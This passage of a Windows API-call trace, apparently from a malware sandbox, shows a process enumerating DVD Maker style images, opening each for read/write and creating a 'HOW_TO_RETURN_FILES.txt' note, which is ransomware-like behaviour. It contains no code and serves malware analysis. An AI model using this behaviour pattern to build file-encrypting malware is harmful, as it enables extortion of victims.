Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.975] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.975] AreFileApisANSI () returned 1 [0125.975] GetACP () returned 0x4e4 [0125.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png5TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 38 [0125.976] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.976] AreFileApisANSI () returned 1 [0125.976] GetACP () returned 0x4e4 [0125.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.976] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.976] AreFileApisANSI () returned 1 [0125.976] GetACP () returned 0x4e4 [0125.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.pngTNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 39 [0125.976] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.976] AreFileApisANSI () returned 1 [0125.976] GetACP () returned 0x4e4 [0125.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.977] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.977] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.977] AreFileApisANSI () returned 1 [0125.977] GetACP () returned 0x4e4 [0125.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.977] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.977] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.977] AreFileApisANSI () returned 1 [0125.977] GetACP () returned 0x4e4 [0125.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="scenesscroll.pngectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 16 [0125.977] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.977] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.977] AreFileApisANSI () returned 1 [0125.977] GetACP () returned 0x4e4 [0125.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="specialmainsubpicture.pngpicture.png", lpUsedDefaultChar=0x37dec0) returned 25 [0125.977] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.978] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.978] AreFileApisANSI () returned 1 [0125.978] GetACP () returned 0x4e4 [0125.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SpecialNavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x37dec0) returned 39 [0125.978] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.978] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.978] AreFileApisANSI () returned 1 [0125.978] GetACP () returned 0x4e4 [0125.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SpecialNavigationLeft_SelectionSubpicture.pngLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 45 [0125.978] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.979] AreFileApisANSI () returned 1 [0125.979] GetACP () returned 0x4e4 [0125.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SpecialNavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 40 [0125.979] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.979] AreFileApisANSI () returned 1 [0125.979] GetACP () returned 0x4e4 [0125.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SpecialNavigationRight_SelectionSubpicture.pngzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 46 [0125.979] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.979] AreFileApisANSI () returned 1 [0125.979] GetACP () returned 0x4e4 [0125.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SpecialNavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 37 [0125.980] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.980] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.980] AreFileApisANSI () returned 1 [0125.980] GetACP () returned 0x4e4 [0125.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SpecialNavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 43 [0125.980] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.981] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.981] AreFileApisANSI () returned 1 [0125.981] GetACP () returned 0x4e4 [0125.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="specialoccasion.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="specialoccasion.png_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.981] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.981] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.981] AreFileApisANSI () returned 1 [0125.981] GetACP () returned 0x4e4 [0125.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="whitemask1047.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="whitemask1047.pngng", lpUsedDefaultChar=0x37dec0) returned 17 [0125.981] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.981] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.981] AreFileApisANSI () returned 1 [0125.981] GetACP () returned 0x4e4 [0125.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="whitevignette1047.png", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="whitevignette1047.pngelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 21 [0125.981] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.982] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.982] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.982] AreFileApisANSI () returned 1 [0125.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.982] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.983] GetFileType (hFile=0x130) returned 0x1 [0125.984] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.984] AreFileApisANSI () returned 1 [0125.984] GetACP () returned 0x4e4 [0125.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sports", cchWideChar=6, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SportslOccasion", lpUsedDefaultChar=0x37df4c) returned 6 [0125.984] AreFileApisANSI () returned 1 [0125.984] GetACP () returned 0x4e4 [0125.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\h") returned 51 [0125.996] AreFileApisANSI () returned 1 [0125.996] GetACP () returned 0x4e4 [0125.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.996] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.996] AreFileApisANSI () returned 1 [0125.996] GetACP () returned 0x4e4 [0125.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.996] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.996] AreFileApisANSI () returned 1 [0125.996] GetACP () returned 0x4e4 [0125.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CircleSubpicture.pngpd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 20 [0125.996] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.997] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.997] AreFileApisANSI () returned 1 [0125.997] GetACP () returned 0x4e4 [0125.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GoldRing.pngture.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.997] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.997] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.997] AreFileApisANSI () returned 1 [0125.997] GetACP () returned 0x4e4 [0125.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="highlight.pngure.png", lpUsedDefaultChar=0x37dec0) returned 13 [0125.997] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.998] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.998] AreFileApisANSI () returned 1 [0125.998] GetACP () returned 0x4e4 [0125.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationButtonSubpicture.png5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 30 [0125.998] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.998] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.998] AreFileApisANSI () returned 1 [0125.998] GetACP () returned 0x4e4 [0125.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NextMenuButtonIcon.pngture.png", lpUsedDefaultChar=0x37dec0) returned 22 [0125.998] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.998] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.998] AreFileApisANSI () returned 1 [0125.998] GetACP () returned 0x4e4 [0125.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ParentMenuButtonIcon.pngre.png", lpUsedDefaultChar=0x37dec0) returned 24 [0125.998] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.999] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.999] AreFileApisANSI () returned 1 [0125.999] GetACP () returned 0x4e4 [0125.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png.png", lpUsedDefaultChar=0x37dec0) returned 26 [0125.999] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.999] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.999] AreFileApisANSI () returned 1 [0125.999] GetACP () returned 0x4e4 [0125.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SceneButtonInset_Alpha1.pngpng", lpUsedDefaultChar=0x37dec0) returned 27 [0125.999] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.000] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.000] AreFileApisANSI () returned 1 [0126.000] GetACP () returned 0x4e4 [0126.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SceneButtonInset_Alpha2.png", lpUsedDefaultChar=0x37dec0) returned 27 [0126.000] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 